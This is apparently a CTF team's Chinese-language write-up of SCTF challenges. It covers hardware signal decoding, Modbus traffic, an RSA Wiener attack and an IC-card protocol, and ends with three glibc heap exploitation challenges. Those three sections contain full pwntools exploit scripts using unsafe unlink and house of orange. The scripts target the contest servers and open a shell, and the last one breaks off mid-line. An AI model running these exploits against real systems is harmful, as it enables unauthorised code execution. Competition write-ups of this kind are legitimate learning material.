Team: De1ta
[TOC]
参考资料:
https://bbs.pediy.com/thread-151259-1.htm
https://www.waitalone.cn/security-hardware-usb.html
下载Saleae Logic 分析软件分析截获的logicdata数据包:
clk栏为时钟电平,data栏为数据电平。
每个指令都在时钟高电平时数据下降沿后开始,数据从低位到高位的顺序发送。发送的命令格式为 一个字节指令类型 一个字节地址 一个字节数据,然后时钟高电平数据电平上升沿代表本次命令结束。我们关注的指令类型为0x33,用于校验口令。发送命令格式为
0x33 0x01 s1
0x33 0x02 s2
0x33 0x03 s3
其中s1 s2 s3拼在一起就是那三个字节的口令了.
在下图方框部分可以找到校验口令:
放大后三条命令分别为:
在时钟电平为高电平时对应的数据电平高低位分别表示1和0,且数据按从低位到高位的顺序发送,因此三调指令分别为:
0x33 0x01 0x40
0x33 0x02 0x31
0x33 0x03 0x10
因此三个口令为 0x40 0x31 0x10
flag:SCTF{403110}
拿到数据包,输入modbus过滤
随便点一个,追踪tcp流,得到flag
flag:sctf{Easy_Mdbus}
拿到swf文件,先扔到IE里玩了一下,没有什么特别的发现
游戏难度较高,通关遥遥无期
于是,直接用爱奇艺播放器打开,在第57帧可以看到通关的NPC对话
得到一串base64
flag:SYC{F3iZhai_ku4ile_T111}
题目提示了数据,这里使用了一款工具modbus-cli(https://github.com/tallakt/modbus-cli )接收modbus协议的数据。用法如下:
这里尝试读取1000字节的数据,由于每次读取数据长度太长会导致timeout,因此每次只读取50字节,写个脚本如下:
#!/bin/bash
start=400001
offset=50
for ((i=$start; i<=400001+1000; i+=50))
do
modbus read --modicon 116.62.123.67 $i $offset
sleep 1
done
在跑出来的结果中,发现在400300-400331地址间有一段可疑数据:
把数据提取出来,转hex转ascii:
data = [21810, 18035, 25671, 22123, 22577, 11092, 26979, 26482, 22117, 18758, 14640, 18761, 30789, 28503, 12912, 28789, 13161, 12151, 26946, 13638, 30073, 26177, 29764, 29293, 11064, 31308, 21879, 27205, 20314, 13876, 26178, 13162]
print len(data) flag=""
for i in range(len(data)):
flag+=hex(data[i])[2:].decode('hex')
print flag
#U2FsdGVkX1+TicgrVeIF90IIxEoW2ppu3i/wiB5FuyfAtDrm+8zLUwjEOZ64fB3j
得到字符串U2FsdGVkX1+TicgrVeIF90IIxEoW2ppu3i/wiB5FuyfAtDrm+8zLUwjEOZ64fB3j,由U2Fsd特征易知是AES加密的密文,使用解密网站,密钥为空,解得flag:
flag:sctf{S_y3L_0v6:M_0_dbus}
从代码可以看出,当ki等于1时,需要多执行一步R←R+P,因此时间和功耗都会增加:
因此1 0 对应关系如下:
flag:SCTF{0110111010}
这题是赛后才解出来的orz
根据IC卡中嵌入的集成电路的不同可以分为三类:存储器卡、逻辑加密卡、CPU卡。其中逻辑加密卡是功能介于存储器卡和CPU卡之间,逻辑加密卡主要是由EEPROM单元阵列和密码控制逻辑组成。根据统计资料分析,逻辑加密卡在应用中所占的比例是最高的。
SLE4428是SIMENS公司设计的逻辑加密IC卡, 容量为1K x 8Bit, 设有两个字节的密码. 只有通过了密码验证, 才可以对IC卡内的没有设置写/擦除保护的内容进行写/擦除. 内部有错误计数器(EC), 错误计数器总是可以被写的, 如果连续8次校验密码不成功, IC卡将自动被锁死, 数据只能读出, 不可再校验密码. 每个字节都可以单独的设置写/擦除保护, 一旦设置了写/擦除保护, 这个字节的数据就不能再写/擦除了, 而且写保护功能只能设置一次. 除了密码区, 其他所有字节在任何时候都可以读出来. (引自: <逻辑加密IC卡SLE4428介绍及其应用>[张元良/杨加林])
下图是卡的引脚及对应的功能:
内部结构图如下:
SLE4428信协议:
数据传输协议是指连接IFD器件和IC之间接口的协议。在I/O的所有数据的变化是由CLK的下降沿上确定的。
数据传递协议由四个模式组成:
复位并应答复位
命令模式
数据输出模式
处理模式
当给IC卡上电后,IC卡进人上电复位(POR)状态,上电复位状态由复位操作停止,复位由RST引脚从0变为1开始,CLK由0变为1结束,复位操作将使IC卡放弃当前执行的命令. 当IC卡复位后,必须进行一次读操作. 如下图复位操作的时序图:
复位应答使Ic卡内部的地址计数器归零, 并且第一个数据位出现在I/O上. 然后再输人31个脉冲, 读出31位数据.
这段数据一般在最开始, 对密码分析暂无价值.
SLE4428 IC卡的命令模式(命令输入)是当RST置高电平时, 相反, 当RST置低电平时为数据输出. 相较于复位模式, RST置高电平时间要长很多, 一般为三个字节的时间. 如下图:
RST | I/O |
---|---|
1 | Command entry(命令输入) |
0 | Data output(数据输出) |
SLE4428总共有8种命令模式, 如下图:
如上面两图, 解释如下:
- Byte 1的低6位(S0 - S5)是执行的操作, 高二位(A8 - A9)是地址位(目的地址)的高二位.
- Byte 2的8位(A0 - A7)是目的地址的低8位, 所以目的地址位总共有: (A0 - A9) 10位.
- Byte 3的8位(D0 - D7)是数据位. 当要向IC卡写数据的时候(100011 / 110011 / 000011 / 010011), 这个字节就是要写入的数据. 当IC卡读数据的时候(001100 / 011100 / 101100), 这个地址无效.
- 注意: 读时序图的时候, 要注意是小端模式.
题目种提到了改了用户密码, 并修改了金额, 如果是要写数据, 就必须先校验密码, 否则只能读取卡中的部分内容, 更加无法修改数据. SLE4428校验过程如下:
写错误计数器中没有被写过的一位:
分别输入(10110011)第一个/第二个校验码, 可得密码是(0512) :
校验通过后,擦除错误计数器EC(在该数据中没找到, 倒是有个不带保护位的读操作011100, 估计是先读EC, 若错误计数器为0就不擦除, 否则就要擦除.)
密码校验通过之后, 便可以进行写/擦除数据的操作. 向IC卡写数据时(写0), 是对IC卡存储区的一个字节的某些位进行写. 向IC卡擦除数据时(写1), 是对IC卡存储区的整个字节进行擦除操作. 下面两图是写/擦除数据操作, 题目修改数据部分, 就是在这里. 这里总共有16次写/擦除操作, 每次操作取相应的目的地址(Byte 2)和数据(Byte 3), 即得到全部flag.
Address: 80 81 82 83 84 85 86 87 88 89 8A 8B 8C 8D 8E 8F
Data: FF F6 05 72 FF FF FF FF FF FF FF FF FF FF FF FF
至此可得flag:
flag:sctf{0512+808182838485868788898A8B8C8D8E8F+FFF60572FFFFFFFFFFFFFFFFFFFFFFFF}
e非常大,导致d会很小,使用低解密指数攻击。借助工具(https://github.com/pablocelayes/rsa-wiener-attack/blob/master/RSAwienerHacker.py)求得d=731297.则msg=38321129004205530330779911668681589489034853148078444,INT转ASCII得到flag1sH3r3_d_ist0sma1l
flag:SCTF{flag1sH3r3_d_ist0sma1l}
首先leak出libc基址,然后构造large bin 来leak出堆地址,尝试过unsafe unlink…...
然而它delete完会置0………..感觉还是要house of orange……..
下面是payload
from pwn import *
debug=0
e=ELF('./libc.so')
context.log_level='debug'
if debug:
p=process('./bufoverflow_a',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
gdb.attach(p)
else:
p=remote('116.62.152.176',20001)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def alloc(sz):
se('1\n')
ru('Size: ')
se(str(sz)+'\n')
ru('>> ')
def delete(idx):
se('2\n')
ru('Index: ')
se(str(idx)+'\n')
ru('>> ')
def fill(content):
se('3\n')
ru('Content: ')
se(content)
ru('>> ')
def show():
se('4\n')
data=ru('1. Alloc')
ru('>> ')
return data
#-------leak libc base ---------------
alloc(0x108)
alloc(0x108)
delete(0)
delete(1)
alloc(0x108)
libc=u64(show()[:6]+'\x00\x00')
base=libc-0x399B58
print(hex(base))
delete(0) #clear
#--------leak heap base------------------------
alloc(0x88)
alloc(0x1000)
alloc(0x500)
alloc(0x88)
alloc(0x88)
alloc(0x88)
delete(1)
delete(2)
delete(4)
alloc(0x88)
delete(1)
delete(5)
delete(3)
delete(0)
alloc(0x98)
alloc(0x88)
heap=u64(show()[:6]+'\x00\x00')-0xb0
haddr=heap+0x18
#clear
delete(0)
delete(1)
#---------unsafe unlink-------
alloc(0x108)
alloc(0x108)
alloc(0xf8)
alloc(0x88)
delete(1)
alloc(0x108)
fill(p64(0)+p64(0x101)+p64(haddr-0x18)+p64(haddr-0x10)+'a'*0xe0+p64(0x100))
delete(2)
alloc(0x1f8)
fill(p64(0x41)*0x3e+'\n')
delete(1)
delete(0)
alloc(0x218)
fill('a'*0x118+p64(0x91)+(p64(0x21)*24)[:-1]+'\n')
delete(3)
delete(2)
alloc(0x88)
delete(0)
delete(1)
io_list_all_addr = base + e.symbols['_IO_list_all']
jump_table_addr = base + e.symbols['_IO_file_jumps'] + 0xc0
alloc(0x218)
file_struct=p64(0)+p64(0x61)+p64(libc)+p64(io_list_all_addr - 0x10)+p64(2)+p64(3)
file_struct = file_struct.ljust(0xd8, "\x00")
file_struct += p64(jump_table_addr)
file_struct += p64(base + 0x3f52a)
fill('a'*0x110+file_struct+'\n')
print(hex(base+0x3f52a))
p.interactive()
flag:SCTF{0Ne_Nu11_8y7e_c4n_p1ck_up_7he_e@r7h}
login处有溢出,可以在任意地方赋值admin .clientele
利用这个可以扩大某个被free的unsorted bin,然后控制后面的chunk
到这里的话如果给了libc,可以按照上一题的做法,house of orange
这里靠报错信息来找libc
找到是2.23的
然后之后就常规house of orange了
下面是payload
from pwn import *
debug=0
context.log_level='debug'
e=ELF('./libc.so')
if debug:
#p=process('./sbbs')
p=process('./sbbs',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
gdb.attach(p)
else:
p=remote('116.62.142.216', 20002)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def create(sz,content):
se('1\n')
ru('Pls Input your note size')
se(str(sz)+'\n')
ru('Input your note')
se(content)
ru('your note is\n')
data=ru('\n')[:-1]
ru('4.exit')
return data
def delete(idx):
se('2\n')
ru('Input id:')
se(str(idx)+'\n')
ru('4.exit')
def login(name,ty):
se('3\n')
ru('Please input your name')
se(name)
ru('choice type')
se(str(ty)+'\n')
ru('4.exit')
#-----leak heap--------
create(0x1488,'\n')
create(0x108,'\n')
delete(0)
data=create(0x108,'a'*17+'\n')[16:]
heap=u64(data.ljust(0x8,'\x00'))-0x61
#clear
create(0x1378,'\n')
delete(0)
delete(1)
delete(2)
#--------use login------
create(0x108,'\n')
create(0xe8,(p64(0x60)+p64(0x21))*0xe+'\n')
create(0x108,'\n')
create(0x108,'\n')
delete(1)
login('a'*8+p64(heap+0x118-0xf),0)
libc=u64(create(0x2e8,'\n')+'\x00\x00')
base=libc-0x3C4B78
io_list_all_addr = base + e.symbols['_IO_list_all']
jump_table_addr = base + e.symbols['_IO_file_jumps'] + 0xc0
delete(1)
create(0x2e8,'a'*0xe8+p64(0x91)+p64(0x21)*30+'\n')
for i in range(5):
create(0x1408,'\n')
delete(1)
delete(2)
file_struct=p64(0)+p64(0x61)+p64(libc)+p64(io_list_all_addr - 0x10)+p64(2)+p64(3)
file_struct = file_struct.ljust(0xd8, "\x00")
file_struct += p64(jump_table_addr)
file_struct += p64(base + 0x4526a)
create(0x2e8,'a'*0xe0+file_struct+'\n')
se('1\n250\n')
print(hex(base))
p.interactive()
flag:sctf{c4FRjmtQKQaRidxdOCjzB898A4fHb0rM}
新加了一个函数,可以控制地址写一个byte, 应该是可以通过这个这个改写当前堆指针
的末尾为0,然后就可以把它自己改成free_hook, 再来就可以修改 free_hook 了
貌似是这样,并没有进行尝试,自己用的应该算是非预期解吧。。
其他的部分和 bufferoverflow_a 都差不多,fill 的时候改了一点
unsigned __int64 __fastcall read_str_E2D(__int64 a1, unsigned __int64 a2)
{
………..
v5 = __readfsqword(0x28u);
for ( i = 0; i < a2; ++i )
{
if ( read(0, &buf, 1uLL) <= 0 )
{
perror("Read faild!\n");
exit(-1);
}
if ( buf == 10 || !buf ) //===========> 这里 buf 读取直到遇到 null buye
………………………………...
}
前面 a 部署 fake chunk size 什么的 时候必定会存在 null byte
这样前面的 fill 的过程就会失效
但是还是可以通过 fill 来部署。。
具体这样
比如要搞一个 fake size 0x61
0x00 | 0x61
fd | bk
首先 fill 一下, size 的地方 传入 \x61
aaaaaaaa| \x61
fd | bk
然后重新 fill 一下, fill 的长度变短,像下面
aaaaaaa\x00|\x61
这样 \x61 就会遗留在 heap 上
其他的地址也可以类似的操作,不断的fill 之后就可以构造和 bufoverflow_a 一样的布局
那就简单了,改改 bufoverflow_a 的脚本就完事了, 脚本当时草草写的,并没有太考虑效率。。这样做缺点是需要有很多fill, 会花比较长时间。。w
#coding:utf-8
from pwn import *
import sys
import time
file_addr='./bufoverflow_b'
libc_addr='./libc.so.6'
host='116.62.152.176'
port=20002
p=process('./bufoverflow_b')
if len(sys.argv)==2:
p=remote(host,port)
def menu(op):
p.sendlineafter('>>',str(op))
def alloc(size):
menu(1)
p.sendlineafter('Size: ',str(size))
def delsome(index):
menu(2)
p.sendlineafter('Index: ',str(index))
def fill(con):
menu(3)
p.sendlineafter('Content:',con)
def show():
menu(4)
def new_fill(payload,size):
for i in range(size):
fill('a'*(len(payload)-i)+payload[-i])
context.log_level='debug'
# libc leak
alloc(0x88)#0
alloc(0x88)#1
delsome(0)
alloc(0x88)#0
libc=ELF("./libc.so.6")
show()
leak=u64(p.recvline().strip().ljust(8,'\x00'))
libc_base=leak-0x88 -libc.symbols['__malloc_hook']+0x20
p.info('leak '+hex(leak))
p.info('libc_base '+hex(libc_base))
# clear
delsome(0)
delsome(1)
#### overlap unsorted bin
alloc(0x150) #0
alloc(0x150) #1
payload='a'*0x110
payload+=p64(0x170)+p64(0x31)
payload+=p64(0x200)+p64(0x20)
new_fill(payload,0x28)
delsome(0)
alloc(0x160)#0
delsome(1)
alloc(0x88)#1
fill('a'*0x88)
alloc(0x88)#2
alloc(0x88)#3
alloc(0xb0)#4
alloc(0x160)#5
delsome(2)
delsome(0)
alloc(0xf0)#0
delsome(4)
alloc(0x290)#2
io_list=libc_base+libc.symbols['_IO_list_all']
system_addr=libc_base+libc.symbols['system']
vtable_addr=libc_base+libc.symbols['_IO_file_jumps']+0xc0-0x480
p.info('vtable_addr '+hex(vtable_addr))
file_struct=p64(0)+p64(0x61)+p64(leak)+p64(io_list - 0x10)+p64(2)+p64(3)
file_struct = file_struct.ljust(0xd8, "\x00")
file_struct += p64(vtable_addr)
file_struct += p64(libc_base + 0x3f38a)
payload='z'*0x10
payload+=file_struct
size=len(payload)
# ----- ugly fill ---------------
# one _gadget
fill('z'*(size-1))
fill('z'*(size-0x8)+p64(libc_base +0x3f38a))
# vtable
fill('z'*(size-0x8-1)+'\x00')
fill('z'*(size-0x10)+p64(vtable_addr))
for i in range(0xd8):
fill('z'*(size-0x11-i)+'\x00')
# p64(3)
fill('z'*(0x10+0x28)+'\x03')
for i in range(0x8):
fill('z'*(0x10+0x28-i-1)+'\x00')
# p64(2)
fill('z'*(0x10+0x20)+'\x02')
for i in range(0x8):
fill('z'
源链接